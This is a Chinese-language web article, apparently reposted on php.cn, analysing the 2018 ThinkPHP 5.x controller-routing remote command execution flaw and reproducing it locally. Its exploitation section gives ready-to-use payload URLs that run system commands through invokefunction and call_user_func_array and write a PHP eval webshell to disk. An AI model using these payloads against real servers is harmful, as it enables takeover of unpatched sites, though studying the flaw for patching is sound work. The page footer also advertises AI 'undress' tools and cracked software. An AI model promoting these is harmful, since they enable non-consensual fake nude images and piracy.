搜尋
首頁php框架ThinkPHPThinkPHP 5.x 遠端指令執行漏洞分析與復現

0x00 前言

ThinkPHP 官方 2018 年 12 月 9 日發布重要的安全性更新,修復了一個嚴重的遠端程式碼執行漏洞。更新主要涉及一個安全性更新,由於框架對控制器名稱沒有進行足夠的偵測會導致在沒有開啟強制路由的情況下可能的getshell 漏洞,受影響的版本包括5.0 和5.1 版本,建議盡快更新到最新版本。

0x01 影響範圍

5.x

0x02 漏洞分析

Thinkphp v5.0.x 補丁位址: https://github.com/top-think/framework/com...

Thinkphp v5.1 .x 補丁位址: https://github.com/top-think/framework/com...

路由資訊中controller 的部分進行了過濾,可知問題出現在路由調度時

關鍵程式碼:

ThinkPHP 5.x 遠端指令執行漏洞分析與復現

在修復之前程式未對控制器進行過濾,導致攻擊者可以透過引入\ 符號來呼叫任意類別方法。

ThinkPHP 5.x 遠端指令執行漏洞分析與復現

其中使用了 $this->app->controller 方法來實例化控制器,然後呼叫實例中的方法。跟進 controller 方法:

其中透過 parseModuleAndClass 方法解析出 $module 和 $class,然後實例化 $class。

ThinkPHP 5.x 遠端指令執行漏洞分析與復現

而 parseModuleAndClass 方法中,當 $name 以反斜線 \ 開始時直接將其作為類別名稱。利用命名空間的特點,如果可以控制此處的 $name(即路由中的 controller 部分),那麼就可以實例化任何一個類別。

接著,我們再往回看路由解析的程式碼。其中route/dispatch/Url.php:: parseUrl 方法呼叫了route/Rule.php:: parseUrlPath 來解析pathinfo 中的路由資訊

ThinkPHP 5.x 遠端指令執行漏洞分析與復現

程式碼比較簡單,就是使用/ 對$url 進行分割,未進行任何過濾。

其中的路由url 從Request::path () 取得

ThinkPHP 5.x 遠端指令執行漏洞分析與復現

#由於var_pathinfo 的預設配置為s,我們可利用$_GET ['s '] 來傳遞路由訊息,也可利用pathinfo 來傳遞,但測試時windows 環境下會將$_SERVER ['pathinfo'] 中的\ 替換為/。結合前面分析可得初步利用程式碼如下:index.php?s=index/\namespace\class/method ,這將會實例化 \namespace\class 類別並執行 method 方法。

0x03 漏洞利用

docker 漏洞環境原始碼:https://github.com/vulnspy/thinkphp-5.1.29

#本地環境:thinkphp5.0.15 php5.6n apache2.0

http://www.thinkphp.cn/donate/download/id/...

#1. 利用system 函數遠端指令執行

http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.x 遠端指令執行漏洞分析與復現

2. 透過phpinfo 函數寫出phpinfo () 的資訊

http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP 5.x 遠端指令執行漏洞分析與復現

#3. 寫入shell:

http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo &#39;ok&#39;;?>

ThinkPHP 5.x 遠端指令執行漏洞分析與復現

#

以上是ThinkPHP 5.x 遠端指令執行漏洞分析與復現的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文轉載於:learnku。如有侵權,請聯絡admin@php.cn刪除

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

EditPlus 中文破解版

EditPlus 中文破解版

體積小,語法高亮,不支援程式碼提示功能

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

Dreamweaver Mac版

Dreamweaver Mac版

視覺化網頁開發工具

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

這個專案正在遷移到osdn.net/projects/mingw的過程中,你可以繼續在那裡關注我們。 MinGW:GNU編譯器集合(GCC)的本機Windows移植版本,可自由分發的導入函式庫和用於建置本機Windows應用程式的頭檔;包括對MSVC執行時間的擴展,以支援C99功能。 MinGW的所有軟體都可以在64位元Windows平台上運作。